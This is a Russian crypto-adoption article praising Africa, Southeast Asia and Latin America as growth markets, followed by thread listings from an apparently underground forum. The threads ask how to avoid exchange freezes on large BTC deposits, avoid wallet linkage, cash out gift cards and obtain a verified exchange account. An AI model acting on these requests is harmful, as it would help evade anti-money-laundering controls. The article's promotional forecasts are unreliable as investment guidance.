Вернемся к первому месту - Нигерия. А как так вышло?
Настоятельно рекомендую посмотреть это видео , чтобы осознать насколько важным аспектом жизни стали криптовалюты в Африке :
CZ CEO Binance : только у 10 -20 % населения есть доступ к банковским услугам, Африка является одновременно ключевым и неосвоенным рынком с огромнейшим потенциалом.
Джек Дорси ex -ceo Twitter , председатель Block (который поддержала Sequoia): $BTC — важный инструмент для многих людей в Африке.
Он выступит на африканской криптоконференции, также недавно совместно с рэпером Jay -Z основал фонд на 500 $BTC в поддержку ПО для $BTC в Африке и Индии.
Майк Новограц: криптовалюта — это [будущее](https://u.today/mike-novogratz-called-bitcoin-the-future-for- africa) для Африки.
Джефф Безос [инвестировал](https://www.globenewswire.com/news- release/2022/09/19/2518507/0/en/Jeff-Bezos-Backed-Chipper-Cash-Partners-with- Highnote-to-Launch-Card-Product-for-the-US-Broadening-Financial-Inclusivity- for-Millions.html) в финтex-cтapтaп Chipper Cash. стартап предоставляет услуги торговли криптовалютами в Африке.
Центральноафриканская
Республика стала первой страной в Африке , легализовавшей $BTC в качестве платежной валюты.
Президент Центральноафриканской республики : Золото веками служило двигателем нашей цивилизации. В эту новую эпоху цифровое золото будет служить и в будущем.
Этим ЦАР не обошлись и проводят интересные эксперименты.
Центральноафриканская
республика началапубличную продажу своего коина Sango Coin, довольно интересныйпрецедент: Sango Coin дает возможностькупить гражданство , получить электронное резидентство и приобрести реальные земельные участки с копией в метавселенной. Инициативу развернули, но шаг был интересным.
Cardano[ставит](https://u.today/this-is-how-cardano-plans-to- attract-100-million-africans-into-crypto) Африку на первое место в своих планах: хочет привлечь более 100 миллионов африканцев в web3.
ЮАР - банковский регулятор разослал банкам [гайдлайны](https://www.resbank.co.za/content/dam/sarb/publications/prudential- authority/pa-deposit-takers/banks-guidance- notes/2022/G10-2022%20-%20Supervisory%20guidelines%20for%20matters%20related%20to%20the%20prevention%20of%20unlawful%20activities.pdf), в которых не советует им отрезать клиентов от крипты, так какэто представляет угрозу финансовой стабильности страны в долгосрочном периоде.
Власти Нигерии и Binance [планируют](https://www.bloomberg.com/news/articles/2022-09-04/nigeria- binance-in-talks-for-digital-city-to-develop-blockchain) создать цифровой хаб.
Chainalysis
: 95 % всех криптотранзакций в Африке - это розничные переводы. Если взятьрозничные переводы <1000$, это составит80%.
Интервью показывают, что это отражает тенденцию многих молодых людей в странах Африки к югу от Сахары обращаться к криптовалюте как к способу сохранения и наращивания богатства , несмотря на низкие экономические возможности.
Мы уже поняли, что Африка для крипты — целевой рынок , ввиду малодоступности банковских услуг для местного населения, криптовалюты становятся спасательным кругом.
Это регион с самым большим ростом принятия криптовалюты , что превращает его даже в некоторый полигон инноваций.
Многие люди никогда не пользовались услугами банкинга , имеют проблемы не только с интернетом , но и со светом , но уже овладели работой с криптокошельками для оплаты своих нужд.
Хоть это развитие может показаться незначительным , мы видим как компании и государства делают ставку на этот регион
Заочно я отдаю Африке номинацию региона с самым большим потенциалом в крипте.


Чтобы понять почему, сделаю небольшое отступление , оно также проявит свет , почему я обращаю внимание еще на несколько регионов в этом списке.
Предлагаю немного отойти от контекста криптовалют и обратиться к более старой инновационной технологииИнтернету.
Сейчас это кажется повсеместно уместным , мы уже не можем представить свою жизнь без интернета.

Но так было не всегда , и всего 20 лет назад интернет не занимал такую масштабную роль в контексте времени.
Хоть тогда образовывались компании , определившие наш век , мы не могли и представить , что это будет так быстро и масштабно.
Те, кто разобрались в технологии интернета в период ее зарождения сколотили себе состояние.
IT -индустрия сейчас самая влиятельная и, можно сказать, привилегированная Например, хорошие сотрудники имеют большой спрос и могут с легкостью перемещаться по миру , не привязывая себя к месту, раньше это было роскошью , как и для многих даже сейчас.
Именно так незаметно подкрадываются инновации и становятся обыденностью жизни. Что-то подобное происходит сейчас с криптовалютой.
Поэтому считаю необходимостью привести параллели и разобраться в контексте интернета, чтобы лучше понять нашу индустрию.

Для этого я обратился к ежегодному исследованию интернета :

[World Digital Report 2022](https://datareportal.com/reports/digital-2022-global-overview- report).

Приведу самые интересные краткие выводы:
За 10 лет количество пользователей интернета выросло более чем в 2 раза!

За 10 лет количество пользователей соц. сетей выросло более чем в 3 раза. Продолжает рост на 10% каждый год.
Да-да, хотя, казалось бы, "бумы " происходили в периоде 2012 -2015 , вот что значит сетевой эффект , что-то похожее ждет успешные криптопродукты.
![](/proxy.php?image=https%3A%2F%2Fimg4.teletype.in%2Ffiles%2F75%2Fbf%2F75bfeeae- caad-4689-a496-a7d949ee04c4.jpeg&hash=2925ceaf063d7f15392e1b4c0895ffb5)![](/proxy.php?image=https%3A%2F%2Fimg4.teletype.in%2Ffiles%2F75%2Fbf%2F75bfeeae- caad-4689-a496-a7d949ee04c4.jpeg&hash=2925ceaf063d7f15392e1b4c0895ffb5)
Всего 62,5% населения подключены к интернету.
Отсюда напрашивается простой вывод: хоть темпы роста пользователей интернета ослабевают , все еще присутствует огромный неосвоенный рынок. Здорово, что инициативы вроде Starlink занимаются этим вопросом.
![](/proxy.php?image=https%3A%2F%2Fimages.squarespace- cdn.com%2Fcontent%2Fv1%2F5b79011d266c077298791201%2F86a61610-ccc3-45f9-8eec-6fb37562d2a7%2FGlobal%2BInternet%2BOverview%2BJanuary%2B2022%2BDataReportal%3Fformat%3D2500w&hash=1454bcc34eddf2812a3a9611509930cb)![](/proxy.php?image=https%3A%2F%2Fimages.squarespace- cdn.com%2Fcontent%2Fv1%2F5b79011d266c077298791201%2F86a61610-ccc3-45f9-8eec-6fb37562d2a7%2FGlobal%2BInternet%2BOverview%2BJanuary%2B2022%2BDataReportal%3Fformat%3D2500w&hash=1454bcc34eddf2812a3a9611509930cb)
За последние 8 лет человек стал проводить на 50 минут больше в интернете. 7 часов в день!
Хоть за последний год это значение выросло всего на 4 минуты , это оборачивается более чем 5 миллиардов человеко -дней в год.
Мы катимся в беспросветную метавселенную? Забавно, но каждая новая минута вовлечения — миллиарды долларов прибыли для индустрии.

Прошу обратить внимание, что все страны из топ -10 по показателю времени проведенного в интернете входят в список выделенных мною перспективных регионов.
Вот кто по -настоящему работает;) Этим и обеспечен экономический рост. Раз это отступление пришлось на главе Африки , поздравим жителей с первым местом!
![](/proxy.php?image=https%3A%2F%2Fimg1.teletype.in%2Ffiles%2F8f%2Faf%2F8faf8be7-e55d-45dc- afe4-49457f2c258b.jpeg&hash=8d1d4120359fa6e3398c4ec276c6b33f)![](/proxy.php?image=https%3A%2F%2Fimg1.teletype.in%2Ffiles%2F8f%2Faf%2F8faf8be7-e55d-45dc- afe4-49457f2c258b.jpeg&hash=8d1d4120359fa6e3398c4ec276c6b33f)
Сколько мы тратим денег и на что?
Выводов можно сделать много, но самый важный для нас — это все потенциальные рынки , где криптотехнологии вполне применимы. А вскоре мы можем увидеть вовсе в одном приложении. (Илон Маск , мы ждем X -superapp.
Гора пока нереализованных возможностей!

За 2021-й год количество крипто-юзеров увеличилось на 38%.
Кажется, что это просто цифры?
На момент исследования (2021-й год)Россия имеет показатель владения криптовалютой у трудоспособногонаселения в 2%, это в10 раз меньше, чем у лидера — Тайланда, что отражает огромный потенциал регионов СНГ.
Криптовалюта достойно зарекомендовала себя как средство сбережения , которому доверяет население стран , чья экономика терпит крах.
А мы ведь к этому и идем, но многие не замечают.
Например, в Турции , где за последний год местная лира потеряла более половины своей стоимости по отношению к доллару США , за последние двенадцать месяцев доля владения криптовалютой увеличилась почти вдвое (+86%), с 10% до 18,6%.
Тем не менее, владение «крипто » по-прежнему сильно перекошено мужчинами , и пожилая аудитория также недостаточно представлена.
Сегодня менее 1 из 20 интернет-пользователей в возрасте от 55 до 64 лет владеет какой-либо криптовалютой.
Этот вывод может иметь важные последствия для политиков, изучающих потенциал цифровых валют.

По миру 71,5% населения от 16 до 64 лет платят за какой-либо из видов цифрового контента каждый месяц.
Достаточно удивительные данные , ведь кажется, что меньше. Блогерам и артистам на заметку!
Забавно видеть Мексику , Нигерию , Вьетнам и Индию в топ -5?;)
Так или иначе, подобная экономическая активность — хороший и современный индикатор развития экономики.

Я навел на основные выводы , остальное за вами! Согласитесь, достаточно неожиданные данные. Они нам очень помогли оценить будущие горизонты и осознать важность перспективных регионов , которые приведены в этой статье.
И чтобы закончить с этим отчетом красиво, я выйду за его рамки и расскажу о успехах в великой миссии интернет в каждый дом от Starlink.
![](/proxy.php?image=https%3A%2F%2Fimg2.teletype.in%2Ffiles%2F56%2F19%2F56195c17-11a9-41cc- be37-8c03fe641412.png&hash=12484032fc9b374e114a483fa9f334b2)![](/proxy.php?image=https%3A%2F%2Fimg2.teletype.in%2Ffiles%2F56%2F19%2F56195c17-11a9-41cc- be37-8c03fe641412.png&hash=12484032fc9b374e114a483fa9f334b2)
Starlink — глобальная спутниковая система, разворачиваемая компанией SpaceX для обеспечения высокоскоростным широкополосным спутниковым доступом в Интернет в местах, где он был ненадёжным , дорогим или полностью недоступным.
В июле этого года SpaceX побили свой рекорд по количеству ракет, запущенных за календарный год, превысив прошлогодний план из 31 миссии на фоне бурной кампании по запуску интернет -спутников на орбиту.


Поделюсь еще одним интересным способом обнаружить перспективные регионы , — посмотреть на богатых : а именно на количество новоиспеченных богатых(недавно разбогатевших) в регионе и состоятельных людей в него переехавших.
Как раз в среде сверхсостоятельных людей образовался новый класс :
Центимиллионеры — обладатели активов на сумму более чем $100МЛН.

Центимиллионеров в мире составляет 25 490 человек. Это владельцы технологических и мультинациональных компаний, финансисты и наследники состояний.
За последние 20 лет их количество увеличилось более чем вдвое , а аккумуляция капитала ускорилась из-за возросшей роли технологий и пандемии Covid.
По прогнозам , самым быстрорастущим рынком для центимиллионеров в следующем десятилетии будет Вьетнам , с темпами роста в 95 % в секторах недвижимости , технологий и финансовых услуг.
Следующей идет Индия , где к 2032 году ожидается 80 %-й рост числа людей с состоянием более $100МЛН. Маврикий тоже не так давно превратился в горячую точку для миграции центимиллионеров: для этого безопасного и благоприятного для бизнеса островного государства Африки прогнозируется 75% -й рост.
Еще три страны африканского континента войдут в высшую лигу самых быстрорастущих рынков сверхбогатых в следующем десятилетии — Руанда (70%), Уганда (65%) и Кения (55%).
[Ссылка на отчет.](https://www.henleyglobal.com/publications/centi- millionaire-report-2022?utm_redirect=tg_RU_PR)
Индия
, страны Африки , ЮВА и Латинской Америки в очередной раз и уже с другой подтверждают мои тезисы, доказательств достаточно.


Теперь вернемся к Африке : мы поговорили об интернете , узнали, что 62,5% от населения уже подключены к нему, на Африканском континенте[всего](https://www.statista.com/statistics/1176654/internet-penetration- rate-africa-compared-to-global-average/) 43,1%.
В целом, мы понимаем, что медицина становится лучше и цивилизация постепенно проникает во все уголки планеты, понижая смертность , повышая качество жизни.
Мы понимаем, на что способен экономически -направленный рост в купе с активным ростом населения , кажется, примеров Китая и Индии , должно быть достаточно.
Фух, я вас подготовил развязке, почему я считаю Африку самым перспективным (крипто)регионом.
Чтобы ответить на этот вопрос, вспомним, что только что прочитали и посмотрим лишь на один график :

Через 80 лет ±40 % от населения планеты, ежегодно обгоняя каждый другой регион.
Чао!
На самом деле, на холодную голову можно прикинуть, каких масштабов способны добиться успешные Африканские (или грамотно и вовремя локализованные) криптопроекты. Благо, уже есть за чем наблюдать. Но самое ценное в этом, что вы предупреждены уже сейчас.
Недавно смотрел интервью Юрия Мильнера, создателя Mail.ru , самого популярного русскоязычного в Кремниевой долине , успешного инвестора-фаундера DST Global (его компании владели 7% акций Facebook).
Цукерберг и Мильнер в 2009-м

Так вот, к чему это я, Мильнер поделился интересной стратегией инвестиций: Географический арбитраж.
Это когда, например, в США появился Uber , ты его обнаружил но не проинвестировал (Юрий был очень близок), ты можешь поддержать онлайн-такси по всему миру: в Китае , ЮВА и т.д. Что DST и сделали. Посещая Азию я пользовался этими приложениями и был удивлен их инвестору и году инвестиции.
Так вот, вполне вероятно, что описанные мной перспективные крипто-регионы перевернут этот географический арбитраж , когда новаторские крипто-технологии будут зарождаться в "странах третьего мира " и перекочевывать в США и Европу.

Юго-Восточная Азия​

![](/proxy.php?image=https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Ff%2Ff7%2FSoutheast_Asia_%2528orthographic_projection%2529.svg%2F400px- Southeast_Asia_%2528orthographic_projection%2529.svg.png&hash=a5452889fabfbdcb0db859dce4b75bc0)![](/proxy.php?image=https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Ff%2Ff7%2FSoutheast_Asia_%2528orthographic_projection%2529.svg%2F400px- Southeast_Asia_%2528orthographic_projection%2529.svg.png&hash=a5452889fabfbdcb0db859dce4b75bc0)
Немного географии : Юго -Восточная Азия(далееЮВА) включает 11 стран: Вьетнам , Тайланд , Индонезия , Филиппины , Сингапур , Малайзия , Восточный Тимор , Бруней , Мьянма , Камбоджа , Лаос.
Перед тем как начать говорить о контексте данного региона, объясню свое решение включить его в этот список:
Обращаясь к продукту[ исследования chainanalysis](https://blog.chainalysis.com/reports/2022-global-crypto- adoption-index/#top-20ndex/#top-20) —
Глобальному индексу внедрения криптовалют в 2022
Можно обнаружить, что в топ -10 стран по принятию криптовалют входит 3 страны ЮВА , причем Вьетнам и Филиппины занимают лидирующие две строчки.

Чтобы лучше понять, что этот индекс значит, обратимся к его цели:
измерить, гдебольше всего людей вкладывают в криптовалюты бóльшую часть своих денег. Институциональная активность играет важную роль в расчете индекса, и также учитываются страны, где индивидуальные непрофессиональные инвесторы активнее всего используют цифровые активы.
[Второй год подряд](https://blog.chainalysis.com/reports/2021-global- crypto-adoption-index/) Вьетнам занимает первое место по уровню принятия криптовалют.
Проведенный еще в 2020 -м году опрос [показал](https://www.weforum.org/agenda/2021/02/how-common-is- cryptocurrency/), что 21 % вьетнамских потребителей сообщили об использовании или владении криптовалютами, уступая лишь Нигерии с 32 %, и с тех пор уровень принятия криптовалют во Вьетнаме , вероятно, только вырос.

Хошимин, Вьетнам
Это удивительно, насколько большой эффект оказал на страну лишь один блокчейн -проект , превратив ее в "[самую удивительную в мире точку доступа к крипто-стартапам](https://fortune.com/2022/05/04/axie- infinity-sky-mavis-vietnam-crypto-blockchain-startups/) ".
Этим проектом был Axie Infinity.
Особенно популярны в этой стране игры на основе криптовалют. Это касается не только пользовательского интереса, но и разработчиков: компания -разработчик самой прибыльной P2E -игры в мире Axie Infinity базируется в Хошимине , и ее успех [вдохновил](https://fortune.com/2022/05/04/axie-infinity-sky-mavis- vietnam-crypto-blockchain-startups/) многие стартапы в области криптогейминга.
По оценкам, 25% филиппинцев и 23% граждан Вьетнама играли в P2E игры, чтобы заработать деньги. — Блокчейн уже меняет жизни.
58 % трафика региона в DeFi связано с NFT.
Обратимся к другим метрикам: криптовалютная активность — объемы транзакций по странам.
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FCoaRh6qrXCxQOUoUJOn6_1DDKffrvW3EB9RdBAbN7ByaZDrEgthZh0DyaM- wAe8RdJqW97Jux_X2zFrr7LUpx2aTlqUEgbE73Jixaw5UCeswFWoZeqmgGTPUudQKIv7QlCwEHLGR3fKz6jvu97hkupqdC-x9HTxVMq8HRkWAtDl39fjDTQedOu66N60yeg&hash=5a25334d80dccc536ccb9d59f7a0692d)![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FCoaRh6qrXCxQOUoUJOn6_1DDKffrvW3EB9RdBAbN7ByaZDrEgthZh0DyaM- wAe8RdJqW97Jux_X2zFrr7LUpx2aTlqUEgbE73Jixaw5UCeswFWoZeqmgGTPUudQKIv7QlCwEHLGR3fKz6jvu97hkupqdC-x9HTxVMq8HRkWAtDl39fjDTQedOu66N60yeg&hash=5a25334d80dccc536ccb9d59f7a0692d)
Для удобства сравнения, график включает регион центральной Азии. Индия закономерно занимает первое место с небольшим отрывом, однако, население Индии в 20 раз больше населения Тайланда , в14 раз больше Вьетнама.
И это сумасшедшие данные, если четверть населения вовлечена в блокчейн -экономику посредством X2EARN решений, то попросту пользователей криптовалют — куда выше.
За этим прецедентом принципиально важно наблюдать , этот регион обладает одним из самых высоких значений принятия криптовалют , а значит тут будут проявляться первые паттерны реакции массового общества на всестороннее внедрение технологий блокчейна в повседневную жизнь.
Многим крипторынок уже поменял жизнь, чего только стоит пример Вьетнама и Филиппин.
Это касается и стран с более прогрессивной экономикой — криптостартапы [стали](https://asianbankingandfinance.net/news/singapores-blockchain- crypto-startups-capture-most-seed-investments-in-h1) самым популярном видом венчурных сделок в Сингапуре за этот год.
На примере Вьетнама хотел бы поглубже разобрать прецедент первой страны по принятию криптовалют, опираюсь на [статью cointelegraph:](https://cointelegraph.com/news/vietnam-s-crypto-adoption- factors-driving-growth-in-southeast-asia)

Мне самому посчастливилось изучить прецедент Юго -Восточной Азии. Этому региону отдам номинацию: концетрация криптовалют. Здесь меняются жизни и много перспектив.

Латинская Америка​

Латинская Америка по-праву может быть отнесена в авангард криптовалют. Чего только стоит всем известный пример первой страны, официально принявшей $BTC - Сальвадора.
По (не)случайным событиям страны-соседи по региону переняли энтузиазм в отношении криптовалют :
И чтобы помочь вам оценить степень вовлечения, воспользуюсь простой метафорой:
В этой [статье](https://cointelegraph.com/news/packed-your-bitcoin-a-btc- holiday-in-costa-rica-goes-fiat-free) рассказывается об опыте крипто- энтузиаста, который отправился в отпуск в Коста -Рику и полноценно насладился отдыхом. Правда есть один нюанс: сделал он это без использования наличных и услуг банкингавсе элементы путешествия оплачены в $BTC.

Пять стран Латинской Америки вошли в топ-20 списка принятия криптовалют: Бразилия (7), Аргентина (13), Колумбия (15), Эквадор (18) и Мексика (28).
Аргентина - стейблкоины как средство обхода валютного контроля
Сохранение своих сбережений во время волатильности фиатной валюты. **
Для многих стран ЛАТАМ характерна волатильность местной валюты, например, Венесуэльский боливар — [инфляция 2177 %.](https://tecreview.tec.mx/2021/11/05/en/tech/cryptocurrencies-a-new-way-to- send-remittances-in-latin-america/)
По разным причинам жители могут покидать свои страны. $BTC становится средством сбережения , ибо не всегда ты можешь вывезти свой капитал.
С экспатами из Венесуэлы происходила похожая ситуация, когда они меняли свои $BTC на наличные с комиссией в 10% находясь в новых странах.
Таким образом криптовалюта стала самым доступным банком в ЛАТАМ.
В другом рейтинге от Statista (2021) уже страны ЛАТАМ являются лидерами в принятии криптовалют , т.к. ключевым индикатором является использование.
Причем большинство переводов — повседневные розничные, в чем ЛАТАМ также лидирует.
Почему? Ответ простой, ситуация похожа на африканскую , когда у большинства населения есть доступ к телефону (его достаточно для использования криптовалют), но нет доступа к банковским услугам.
По состоянию на июнь 2022 года 95% латиноамериканцев , опрошенных Mastercard , заявили, что планируют использовать цифровой способ оплаты в следующем году , а 51 % потребителей из Латинской Америки уже совершили транзакцию с криптоактивами.
Techcrunch сообщил, что «учитывая стремление региона к инновациям, ожидается, что рынок вырастет [почти в десять раз](https://techcrunch.com/2020/10/01/latin-americas-digital-transformation- is-making-up-for-lost-time/) в течение следующего десятилетия ».
Говоря со стороны, регион ЛАТАМ также удивил количеством перспективных web3 -проектов , которые сейчас строятся. Перейдем к избранным новостям:
Крупнейший цифровой банк Бразилии Nubank с 70 миллионов пользователей в первой половине 2023 года [выпустит](https://portaldobitcoin.uol.com.br/nubank-vai-lancar- criptomoeda-propria-na-blockchain-do-ethereum) собственную криптовалюту Nucoin на блокчейне Ethereum в сети второго уровня Polygon.
«Это ещё один шаг, который мы делаем, потому что мы верим в преобразующий потенциал технологии блокчейна» — говорит исполнительный директор.
В июне банк начал продавать $BTC и $ETH в своем приложении, с того момента около 2 миллионов бразильцев купили криптовалюты через этот сервис.
Сам банк в мае этого года инвестировал 1% капитала в $BTC.
Также Nubank , [достиг](https://www.coindesk.com/business/2022/07/26/brazils-largest- digital-bank-nubank-reaches-1m-crypto-users-after-just-a-month/))1 миллиона пользователей на своей крипто-платформе всего через месяц после запуска.
К слову о банках, CZ [рассматривает](https://www.coindesk.com/business/2022/11/02/binance-ceo- zhao-considering-buying-banks-report/) возможность покупки банков , преследуя цель преодолеть разрыв между традиционной финансовой системой и криптовалютами.
ЛАТАМ — полигон в вопросе экспериментов с крипто -банкингом , самый прогрессивный в этом вопросе регион. И это его номинация!
Чжао уточнил, что рассмотрит как частичное финансирование, так и полное поглощение.
Большие шансы, что мы увидим рост присутствия Binance в этом контексте в ЛАТАМ , стоит позавидовать проектам банкинга в латинской Америке и их инвесторам.
Учитывая, что это уже началось:
Binance Pay -[ экспансия](https://www.prnewswire.com/news- releases/inswitch-partners-with-binance-pay-to-boost-crypto-payment-adoption- in-latam-301617972.html) в странах Латинской Америки по
криптовалютным платежам
Для меня самой значимой новостью стала эта:
$USDT
[стал](https://tether.to/en/tether-usdt-available-in- over-24000-atms-across-brazil-on-3-november/) доступен в более чем 24 000 банкоматах по всей Бразилии.
Вы просто вдумайтесь к чему это приведет... Опять же, это прецедент , за которым стоит наблюдать, если обернется удачно , он охватит ЛАТАМ , вскоре весь мир.
$USDD Джастина Сана стал законным платежным средством в Доминике. Кроме того, правительство Доминики предоставит всем цифровым активам на базе
Tron** официальный статус.
Бразилия - один из крупнейших частных банков Itaú Unibanco [ планирует](https://einvestidor-estadao-com- br.cdn.ampproject.org/c/s/einvestidor.estadao.com.br/investimentos/itau- pretende-tokenizar-ativos-portfolio/amp)начать предлагать услуги по токенизации активов и торговле криптой.
Рио
де Жанейро [подтверждает](https://boletimbitcoin.com/2022/07/05/rio-de-janeiro-quer- se-tornar-o-ecossistema-cripto-do-brasil-afirma-prefeitura-e-cita-compra-de- bitcoin/) свои планы по внедрению крипты и блокчейна в городе. Хочет стать "крипто -экосистемой страны ".
Гондурас [запускает](https://www.reuters.com/world/americas/honduras- launches-bitcoin-valley-tourist-town-santa-lucia-2022-07-29/) «$BTC- долину » в туристическом городке Санта -Лючия.
Находясь в Дубае мне посчастливилось познакомиться с СЕО одного проекта из Мексики , по его словам, технологии блокчейна будут постепенно внедряться практически на всех уровнях ЛАТАМ , для многих уже создана технологическая база , например, для корпоративной среды.
Например вHR , когда зачисление сотрудников проходит через блокчейн. За этим обязательно стоит не просто следить но и стараться вовлекаться в экономику этих стран, это серьезные возможности.
По моему скромному мнению, наиболее перспективным направлением в ЛАТАМ будет крипто -банкинг , выше емко обозначил почему, и это только начало. Сам держу руку на пульсе нескольких невероятных проектов, им удалось достичь согласие на уровне государственном и корпоративном , приняв помощь от ведущих игроков криптосреды.
Мне посчастливилось пообщаться с местными крипто-коммьюнити в нескольких странах и это нечто: своими глазами я увидел и убедился что для многих, криптовалюта — это выход.
Даже наш индивидуальный опыт переездов ранее был бы невозможен без существования криптовалют , мы бы попросту остались без денег на жизнь в любой из стран. Суммируя эти наблюдения , тезисы и уверенность в них только укрепляется.
Еще приятнее это воспринимать, когда страны и регионы постепенно снижают барьеры крипторынка и даже идут навстречу.
У нас есть очень хороший пример — интернет. Оцените потенциал Африки , за 16 лет метрика % пользователей интернета от населения выросла в 20 раз и только подобралась к показателям 2005 -го года у Америки и Европы , а значит несет в себе такой же потенциал , как эти регионы 16 лет назад.

Естественно, количество пользователей определяет потенциал и качество сети и возможностей в ней. Условно вложить вы в Африку 16 лет назад, темпы роста ваших инвестиций опережали остальной мир.
Конечно, интернет идет только на рост , но мы же говорим о кризисах. Хороший темп роста способен нивелировать падения кризиса , о котором все сейчас говорят.
Особенно когда в других регионах этот показатель -> к максимуму , расширение становится менее эффективным и прибыльным.
Подобное происходит в среде криптовалют. Но есть одна оговорочка :

Благодаря интернету история поменялась коренным образом : чтобы подключить новых пользователей к интернету — нужно проделать серьезную и затратную работу, это уже барьер.
Чтобы человеку пользоваться технологиями криптовалют , ему нужен только интернет и источник входа, мобильника за 100 $ будет достаточно.
Не секрет, что основными инициаторами развития интернета были развитые регионы первого света : Америки и Европы , а весь мир за ними следил и повторял.
Обусловленно это многими факторами, в том числе и количеством первых нативных пользователей. А может пользователи приходили, потому что интернет как раз был развит? Вопрос философский , а отвечает на него понятие сетевой эффект.
Пользователи создают качество среды , качество среды привлекает новых пользователей , круг замкнулся.
Сейчас происходит прецедент: по множеству изложенных выше факторов (или барьеров?:экономических, технологических, политических и пр.), именно жители регионов третьего мира являются самыми нативными пользователями криптовалют.
А когда идея сталкивается с реальностью , она получает урок , решая который, становится великим продуктом.
Массовый и социальный опыт принятия и взаимодействия в среде криптовалют в странах третьего мира ляжет в основу развития всей сферы.
Учитывая современные реалии , на эту цель не составляет труда привлечь лучшие умы и умнейшие деньги со всего мира , поэтому это только вопрос времени , когда один из продуктов , созданных в условиях третьего мира , будет способен захватить умы пользователей из стран первого.

Вопрос. Генерация большого количества адерсов.
ID: 67686ad7b4103b69df3798eb
Thread ID: 75441
Created: 2022-11-07T21:23:37+0000
Last Post: 2022-11-08T17:31:42+0000
Author: kosok11
Replies: 1 Views: 317

Собственно сабж.
Мастера крипто индустрии, подскажите решения, как быстро и безболезненно сгенерировать большое количество подконтрольных адресов (через мнемонику или прив кеи), а потом еще желательно и мониторить балансы без танцев с бубном?
BTC и ETH в принципе больших вопросов не вызывают, интересуют такие монеты
XMR, BCH, DOGE, TRX, LTC, XRP, ZEC, DASH, NEO, XLM, BNB, SOL, ALG

Which cryptoexchange?
ID: 67686ad7b4103b69df379823
Thread ID: 93270
Created: 2023-07-18T09:51:24+0000
Last Post: 2023-07-19T03:32:05+0000
Author: Protagonista222
Replies: 7 Views: 316

Which crypto exchange is the safest to receive sums from 50-100k for btc.
I mean, funds to not get blocked for any suspicious reasons (origin of the sender, unusuall sum, etc ).
Account wiil be completly verified, but some exchanges freeze assets anyway sometimes..
Which exchange will most likely NOT freeze the money?

Как безпасно хранить Litecoin?
ID: 67686ad7b4103b69df3798e6
Thread ID: 76034
Created: 2022-11-17T02:40:27+0000
Last Post: 2022-11-17T11:13:12+0000
Author: preroot
Replies: 2 Views: 316

В 23 году халвинг этой старой монетки, и хочется словить пару иксов. Какие есть варианты кроме леджера?

[Вопрос] Временный адрес приема в Electrum
ID: 67686ad7b4103b69df3797d3
Thread ID: 101518
Created: 2023-11-03T05:28:53+0000
Last Post: 2023-11-03T18:03:39+0000
Author: D03er
Replies: 11 Views: 315

Если я создаю одноразовые адреса (действующие 1 час, например) для приёма монет, то они всё равно "палят" основной счёт кошелька? Т.е. отслеживаются как один адрес в итоге?

Палево в Metamask
ID: 67686ad7b4103b69df379859
Thread ID: 88154
Created: 2023-05-16T22:24:52+0000
Last Post: 2023-05-21T14:27:16+0000
Author: lukas
Replies: 2 Views: 315

подскажите, если держать несколько кошельков в одном приложении Metamask, они палятся? по фингерпринтам браузера или как-то еще?
были случаи блокировок сразу всех токенов во всех кошелях в границах одного приложения?
может кто-то ресерчи видел на эту тему или технически копался в приложухе Metamask?

Blacklisted AVAX Address
ID: 67686ad7b4103b69df379791
Thread ID: 106858
Created: 2024-01-27T23:48:10+0000
Last Post: 2024-02-11T18:44:55+0000
Author: hasemail
Replies: 2 Views: 314

hi i have a wallet i got $ in but the contract for the coin blacklisted my address to use the coin. when i try sending or trading i get

The contract function "swapExactTokensForTokens" reverted with the following reason:

Add USDC to Wallet

I have apple gift card i want exchnage with btc
ID: 67686ad7b4103b69df379901
Thread ID: 57839
Created: 2021-10-18T04:30:13+0000
Last Post: 2022-09-24T01:15:28+0000
Author: mahakali005
Replies: 3 Views: 314

i have a large amount of apple, Target & Zalle gift cards i want BTC any know- how to exchange with btc

Вопрос electrum комиссия
ID: 67686ad7b4103b69df3797f7
Thread ID: 93991
Created: 2023-07-26T05:41:29+0000
Last Post: 2023-08-29T07:30:38+0000
Author: shears
Replies: 4 Views: 313

суть такова последняя версия electrum. в старых версиях был ползунок и настройки комиссии. а в последней нет.
вот на счету есть 0.0021405 - 62$ мне нужно сделать выплату. Какую комиссию ставить на перевод что бы 1 подтверждение за час пришло чтобы не зависло.
И как сделать ту самую комиссию что бы отравить деньги все. что бы кош был 0. и куда водить эту комиссию?

Скриншот 26-07-2023 08265644444444444444444.jpg

Если нажать на максимум то получается что сума на счете 0.0021405 а максимальный перевод 0.00212796 то есть меньше
на 0.00001254 это $0.36 примерно это комиссия? этого достаточно? Просто если я совершу перевод с такими входящими транза не зависнет или будет очень долгой.? я просто не могу понять что то комисия очень маленькая это норм? вроде как после кнопки отправки можно менять комиссию но я же отправляю максимум и на балансе будет 0. не могу с этим разобраться. а комиссию допустим 2$ я выставить не могу кто пользуется подскажите

Обучающий курс по трейдингу криптовалют.
ID: 67686ad7b4103b69df379934
Thread ID: 64453
Created: 2022-03-18T15:52:39+0000
Last Post: 2022-07-24T10:52:05+0000
Author: sv37qR0
Replies: 4 Views: 313

_Приветствую всех!
Увы, но приходится писать снова, удовлетворяющего ответа не получил.
Очень нуждаюсь в вашей помощи.
Есть огромное желание записаться на обучающий курс "Антихаос" от Top Traders Academy, но присутствует небольшое сомнение в преподавателе.
Есть ли у кого-нибудь курс "Crypto Camp"?
Будьте добры, поделитесь ссылочкой на облако, пожалуйста!
Разумеется, если вам нужен какой-либо курс, постараюсь его для вас найти.
Также, возможно вы знаете эффективные курсы по трейдингу криптовалют, поделитесь данной информацией, пожалуйста.
Заранее огромное спасибо!

С уважением, 2v37'qR0_

Нужен вериф акк на omgfin
ID: 67686ad7b4103b69df3799ab
Thread ID: 61359
Created: 2022-01-13T21:12:09+0000
Last Post: 2022-01-13T21:12:09+0000
Author: rltd309
Replies: 0 Views: 312

Всем привет, кто может помочь прошу отписать мне

Crypto scammers took a record $14 billion in 2021
ID: 67686ad7b4103b69df3799b0
Thread ID: 60924
Created: 2022-01-06T11:17:59+0000
Last Post: 2022-01-06T11:17:59+0000
Author: stgpp0r5
Replies: 0 Views: 310

Summary​

Scammers took home a record $14 billion in cryptocurrency in 2021, thanks in large part to the rise of decentralized finance (DeFi) platforms, according to new data from blockchain analytics firm Chainalysis.

Losses from crypto-related crime rose 79% from a year earlier, driven by a spike in theft and scams.

